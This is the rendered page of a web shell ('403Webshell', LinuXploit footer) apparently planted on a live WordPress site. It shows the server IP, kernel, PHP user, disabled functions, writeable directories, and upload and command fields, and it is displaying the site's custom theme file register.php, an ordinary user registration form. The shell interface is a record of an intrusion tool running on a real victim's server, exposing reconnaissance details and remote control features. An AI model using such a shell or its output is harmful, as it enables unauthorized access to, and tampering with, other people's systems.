403Webshell
Server IP : 35.201.19.92  /  Your IP : 216.73.217.165
Web Server : nginx
System : Linux pod-200961 6.8.0-1055-gke #61-Ubuntu SMP Tue May 26 22:57:42 UTC 2026 x86_64
User : fpm200098 ( 200098)
PHP Version : 8.2.33
Disable Function : apache_child_terminate,apache_get_modules,apache_get_version,apache_getenv,apache_note,apache_setenv,disk_free_space,disk_total_space,diskfreespace,dl,exec,fastcgi_finish_request,link,opcache_compile_file,opcache_get_configuration,opcache_invalidate,opcache_is_script_cached,opcache_reset,passthru,pclose,pcntl_exec,popen,posix_getpid,posix_getppid,posix_getpwuid,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,realpath_cache_get,shell_exec,show_source,symlink,system
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nas/content/live/questfamilyday/wp-content/themes/generatepress_child/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /nas/content/live/questfamilyday/wp-content/themes/generatepress_child//register.php
<?php
/**
  * Template Name: Register Page
 * The template for displaying all pages.
 *
 * This is the template that displays all pages by default.
 * Please note that this is the WordPress construct of pages
 * and that other 'pages' on your WordPress site will use a
 * different template.
 *
 * @package GeneratePress
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}
if (isset( $_POST["red_role"] ) && wp_verify_nonce($_POST['red_csrf'], 'red-csrf')) {
	//print_r($_POST);
	//die();
      $user_login		= sanitize_user($_POST["red_user_login"]);
      $user_email		= sanitize_email($_POST["red_user_email"]);
      $user_first 	    = sanitize_text_field( $_POST["red_user_first"] );
      $user_last	 	= sanitize_text_field( $_POST["red_user_last"] );
      $user_pass		= $_POST["red_user_pass"];
      $pass_confirm 	= $_POST["red_user_pass_confirm"];
	  $register_role 	= $_POST["red_role"];
	  $role 		= "pre_approved";	

      
      if(username_exists($user_login)) {
          red_errors()->add('username_unavailable', __('Username already taken'));
      }
      if(!validate_username($user_login)) {
          red_errors()->add('username_invalid', __('Invalid username'));
      }
      if($user_login == '') {
          red_errors()->add('username_empty', __('Please enter a username'));
      }
      if(!is_email($user_email)) {
          red_errors()->add('email_invalid', __('Invalid email'));
      }
      if(email_exists($user_email)) {
          red_errors()->add('email_used', __('Email already registered'));
      }
      if($user_pass == '') {
          red_errors()->add('password_empty', __('Please enter a password'));
      }
      if($user_pass != $pass_confirm) {
          red_errors()->add('password_mismatch', __('Passwords do not match'));
      }    
      $errors = red_errors()->get_error_messages();    
      if(empty($errors)) {         
          $new_user_id = wp_insert_user(array(
                  'user_login'		=> $user_login,
                  'user_pass'	 		=> $user_pass,
                  'user_email'		=> $user_email,
                  'first_name'		=> $user_first,
                  'last_name'			=> $user_last,
                  'user_registered'	=> date('Y-m-d H:i:s'),
                  'role'				=> $role
              )
          );
          if($new_user_id) {
              wp_new_user_notification_for_email($new_user_id);   
      		  $meta_key = 'register_role'; 
      		  update_user_meta($new_user_id, $meta_key, $register_role );      
              // update_user_meta( (int)$new_user_id, sanitize_key( 'baba_user_locked' ), 'yes' );    
              update_user_meta( (int)$new_user_id, sanitize_key( 'application_form_status' ), 0 );  
              //wp_set_auth_cookie(get_user_by( 'email', $user_email )->ID, true);
              //wp_set_current_user($new_user_id, $user_login);	
              //do_action('wp_login', $user_login, wp_get_current_user());    
              //        
              wp_redirect(home_url('/pre-approved-registration-thank-you')); exit;
          }         
      } 
  }
  function red_errors(){
    static $wp_error; 
    return isset($wp_error) ? $wp_error : ($wp_error = new WP_Error(null, null, null));
}
 function red_register_messages() {
	if($codes = red_errors()->get_error_codes()) {
		echo '<div class="red_errors">';
		   foreach($codes as $code){
		        $message = red_errors()->get_error_message($code);
		        echo '<span class="error"><strong>' . __('Error') . '</strong>: ' . $message . '</span><br/>';
		    }
		echo '</div>';
	}	
} 

get_header(); ?>
<style>
.red_form {
    width: 450px!important;
    max-width: 95%!important;
    padding: 30px 20px;
    box-shadow: 0px 0px 20px 0px #00000012, 0px 50px 40px -50px #00000038;
}
.red_errors {
    color: #ee0000;
    margin-bottom: 12px;
    width: 450px!important;
    max-width: 95%!important;
}
.red_form label::after {
    content: " *";
    color: red;
    font-weight: bold;
}
.page-template-register .site-content {
    max-width: 595px !important;
    margin: 0px auto;
    position: relative;
    z-index: 1;
    background: #FFF;
}.page-template-register .red_form {
    width: 100% !important;
    border-radius: 15px !important;
    overflow: hidden;
    border: 0 !important;
    margin: auto;
}.page-template-register input:not([type="submit"]),
.page-template-register  select{
    background: #F2F2F2
;
    width: calc(100% - 141px);
    border: 1px solid #ccc;
}.page-template-register label {
    min-width: 134px;
}.page-template-register .site-main {
    padding: 70px 0px;
}@media (max-width:480px){
  .page-template-register label {
    min-width: 100%;
}
.page-template-register input:not([type="submit"]),
.page-template-register  select{
     width: 100%;
}
.page-template-register .site-main {
    padding: 30px 0px;
}}
			</style>

	<div <?php generate_do_attr( 'content' ); ?>>
		<main <?php generate_do_attr( 'main' ); ?>>
       
			<form id="red_registration_form" class="red_form" action="" method="POST">
				<?php red_register_messages();	 ?>
                
                <p>
					<label for="red_user_role"><?php _e('Register For'); ?></label>
				<select name="red_role" id="red_role">
					<option value="member">Educator</option>
                	<option value="staff">Staff</option>
                	<option value="assistant_educator">Assistant Educator</option>
                	<option value="relief_educator">Relief Educator</option>
                </select>
                	
				</p>
				<p>
					<label for="red_user_login"><?php _e('Username'); ?></label>
					<input name="red_user_login" id="red_user_login" class="red_input" placeholder="Username" type="text"/>
				</p>
				<p>
					<label for="red_user_email"><?php _e('Email'); ?></label>
					<input name="red_user_email" id="red_user_email" class="red_input" placeholder="Email" type="email"/>
				</p>
				<p>
					<label for="red_user_first"><?php _e('First Name'); ?></label>
					<input name="red_user_first" id="red_user_first" type="text" placeholder="First Name" class="red_input" />
				</p>
				<p>
					<label for="red_user_last"><?php _e('Last Name'); ?></label>
					<input name="red_user_last" id="red_user_last" type="text" placeholder="Last Name" class="red_input"/>
				</p>
				<p>
					<label for="password"><?php _e('Password'); ?></label>
					<input name="red_user_pass" id="password" class="red_input" placeholder="Password" type="password"/>
				</p>
				<p>
					<label for="password_again"><?php _e('Password'); ?></label>
					<input name="red_user_pass_confirm" id="password_again" placeholder="Password Again" class="red_input" type="password"/>
				</p>
				<p>
		<input type="hidden" name="red_csrf" value="<?php echo wp_create_nonce('red-csrf'); ?>"/>		
		<input type="submit" value="<?php _e('Register Now'); ?>"/>
				</p>
			
		</form>
		</main>
	</div>
	<?php
	/**
	 * generate_after_primary_content_area hook.
	 *
	 * @since 2.0
	 */
	do_action( 'generate_after_primary_content_area' );

	generate_construct_sidebars();

	get_footer();

Youez - 2016 - github.com/yon3zu
LinuXploit